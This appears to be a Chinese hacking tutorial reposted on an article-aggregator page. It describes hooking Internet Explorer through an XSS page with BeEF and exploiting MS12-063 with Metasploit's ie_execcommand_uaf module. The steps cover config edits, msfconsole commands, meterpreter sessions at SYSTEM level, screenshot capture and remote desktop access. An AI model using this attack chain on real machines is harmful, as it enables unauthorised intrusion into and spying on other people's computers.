首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 励志文章 > 正文

    metasploit更新漏洞库【metasploit利用IE漏洞XSS挂马拿内网主机】

    时间：2020-02-17来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    系统:KALI

    用到的工具：beEF+msf

    利用的IE漏洞是：http://www.rapid7.com/db/modules/exploit/windows/browser/ie_execcommand_uaf

    MS12-063

    AutomaticIE 7 on Windows XP SP3IE 8 on Windows XP SP3IE 7 on Windows VistaIE 8 on Windows VistaIE 8 on Windows 7IE 9 on Windows 7

    用到的beef+msf

    先配置下：

    root@kali:~# cd /usr/share/beef-xss/root@kali:/usr/share/beef-xss# lsbeef beef_key.pem config.yaml db Gemfile modulesbeef_cert.pem bundle core extensions Gemfile.lock

    编辑下config.yaml

    把metasploit ：false改成true

    metasploit利用IE漏洞XSS挂马拿内网主机1

    再进入extensions/metasploit/

    同样修改下config.yaml

    把host跟callback_host 改成自己的IP 这里是220.128

    metasploit利用IE漏洞XSS挂马拿内网主机2

    再改动下custom path：

    metasploit利用IE漏洞XSS挂马拿内网主机3

    这样beef已经配置好了。那就运行下metasploit

    metasploit利用IE漏洞XSS挂马拿内网主机4

    运行msf后 数据库连接下，不然上线也会没有提示的。这里的pass 就是extensions/metasploit/config.yaml里面的pass

    metasploit利用IE漏洞XSS挂马拿内网主机5

    这样就没有什么问题。我们可以先看一下beef.数据库只要连上了就不会出现msf的api错误的。

    metasploit利用IE漏洞XSS挂马拿内网主机6

    进入beef

    metasploit利用IE漏洞XSS挂马拿内网主机7

    账号密码beef 配置文件里面有。beef:beef

    metasploit利用IE漏洞XSS挂马拿内网主机8

    那beef已经都OK了。

    现在来搞下选择下要显示的页面：

    metasploit利用IE漏洞XSS挂马拿内网主机9

    hook.js 运行beef 显示出来的。

    别忘记运行下apache。

    metasploit利用IE漏洞XSS挂马拿内网主机10

    我们再进入msf

    use exploit/windows/browser/ie_execcommand_uaf

    可以自己根据自己的要求来选择。

    show options

    port可以自已改。

    metasploit利用IE漏洞XSS挂马拿内网主机11

    我用xp+ie7

    metasploit利用IE漏洞XSS挂马拿内网主机12

    直接访问下我们的页面192.168.220.128/xss/

    beef就会显示出来了。

    metasploit利用IE漏洞XSS挂马拿内网主机13

    点击 commands-hookeddomain-REDIRECT BROWSER 让他重新跳转到我们msf生成的地址上。beef很多功能。

    把地址改成192.168.220.128:8080(msf生成的地址)

    metasploit利用IE漏洞XSS挂马拿内网主机14

    我们就会看到msf上面已经显示出来了。 回显了sessions

    payload可以自己去改。我使用的meterpreter载荷

    metasploit利用IE漏洞XSS挂马拿内网主机15

    执行sessions -i

    metasploit利用IE漏洞XSS挂马拿内网主机16

    执行sessions -i ID号

    可以执行任意命令已经是系统权限

    metasploit利用IE漏洞XSS挂马拿内网主机17

    执行下screenshost

    meterpreter > screenshot Screenshot saved to: /root/dlsSQBkF.jpeg

    就可以看到当前主机的屏幕内容。

    metasploit利用IE漏洞XSS挂马拿内网主机18

    也可以rdesktop 远程连接上去。

    参数rdesktop -f ip -u username -p password

    这也是一种xss挂马拿内网主机。

    注：鄙人每天都在写一些metasploit的玩法，如果有大神有什么好的方法希望告诉我，我更新在空间，分享给大家。

    • metasploit更新漏洞库【metasploit利用IE漏洞XSS挂马拿内网主机】 相关文章:
    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文metasploit更新漏洞库【metasploit利用IE漏洞XSS挂马拿内网主机】由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.